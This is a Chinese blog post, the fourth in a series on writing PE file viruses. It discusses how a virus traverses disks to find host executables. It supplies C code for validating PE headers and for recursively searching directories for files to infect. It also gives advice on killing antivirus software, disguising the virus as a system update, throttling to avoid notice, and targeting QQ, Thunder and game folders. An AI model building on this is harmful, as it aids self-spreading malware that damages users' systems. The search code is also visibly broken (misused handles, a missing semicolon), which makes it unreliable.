您的位置:首页 > 其它

关于PE病毒编写的学习(四)——关于历遍磁盘的讨论

2011-03-17 17:09 274 查看
在上一章中的“前置病毒”中,由于它只是一个测试病毒,因此该病毒只是搜索病毒文件所在文件夹的exe文件。

显然,为了让它具有更好传染性,能够历遍整个磁盘或某些重要文件夹的特性,是十分重要的。

开始讨论历遍之前,先让我们来改进原来的代码

首先在上一章的代码中,只要结尾是“.exe”的文件就被判断为"可执行程序",这种方法在大多数情况下是正确的,但是如果程序经过压缩或加密后,该文件的PE结构会有改变,虽然它实际上让然能履行可执行程序的功能,但针对PE文件的操作可能出错。因此,确定.exe后缀之后,做更加详细的文件类型检查很多时是必要的,参考代码如下:

************************************************************************/

/* 函数说明:判断文件是否是可执行文件

/* 参 数: hFile 文件句柄

/* 返 回 值:是可执行文件返回真,否则返回假

BOOL IsExeFile(HANDLE hFile)
{
IMAGE_DOS_HEADER dosHeader;
IMAGE_NT_HEADERS32 ntHeader;
DWORD nCount;

BOOL bResult=FALSE;
ReadFile(hFile, &dosHeader, sizeof(dosHeader),&nCount, NULL);

//dos头检查
if(nCount== sizeof(dosHeader))
if(dosHeader.e_magic == IMAGE_DOS_SIGNATURE) // 是不是有效的DOS 头?
if(SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN) != -1)

{

//NT头检查

ReadFile(hFile, &ntHeader, sizeof(ntHeader), &nCount, NULL);
if(nCount == sizeof(ntHeader))
if(ntHeader.Signature == IMAGE_NT_SIGNATURE) // 是不是有效的NT 头
if(ntHeader.FileHeader.Characteristics&IMAGE_FILE_EXECUTABLE_IMAGE)//Characteristics也可判断

//其他类型PE文件

bResult=TRUE;

}
SetFilePointer(hFile, 0, NULL, FILE_BEGIN)

return bResult;

}

好嘞,终于进入正题,让我们谈谈历遍磁盘或目录的问题。

先说说好的病毒设计对历遍磁盘的设计要求:

1、避免对系统冲击过大:历遍磁盘对系统冲击相当大,并且有可能多个病毒同时开启,如果搜索时间较长,应该适当挂起程序,

将时间片还给系统

2、最好限制搜索文件数量和范围:不要试图感染本机所有文件,这样只能是病毒和系统一起完蛋;感染系统文件虽然十分有用,

在有保护的情况下,非常容易被杀毒软件发现。

3、搜索速度要快:很多时候,不能单独开启新进程执行正常程序,因此正常程序不得不等待病毒程序完毕

解决方方案:

方案一:如果能干掉杀毒软件的话,将关键目录目标文件和一般目录结合搜索,能取得不错效果

方案二:如果你为人低调的话,通过伪装或隐藏,比如模拟系统更新来注入到关键目录中

方案三:没有办法也是办法,搜索普通目录,比如迅雷、qq、一些网游也是不错的选择

不管你选择哪种方法,这里给出一个文件树搜索参考代码:

************************************************************************/

/* 函数说明:历遍该路径下的可执行文件

/* 参 数:Top 文件路径 int nCount 搜索符合要求文件的最大数目 pFileHandle 将找到的符合要求文件句柄储存在这里

/* 返 回 值:找到符合要求文件的数目

int SearchHostFile(TCHAR* Top,int nCount,PHANDLE szFileHandle)

{

static int nResult=0;

WIN32_FIND_DATA fd;
HANDLE szFileHandle[nResult] = FindFirstFile(Top,&fd);
if(szFileHandle[nResult]!=INVALID_HANDLE_VALUE)

{

if(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
SearchHostFile(fd.cFileName,nCount,szFileHandle);

else

{

while(nResult<nCount)

{

if(IsExeFile(szFileHandle[nResult]))

nResult++;

FindNextFile(szFileHandle[nResult],&fd);

if(szFileHandle[nResult]==INVALID_HANDLE_VALUE)

break;

sleep(0);

}

}

}

return nResult;

}

以上纯属个人观点,由于本人能力有限,如有错误,请你指正,希望大家常来常往,互相交流
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: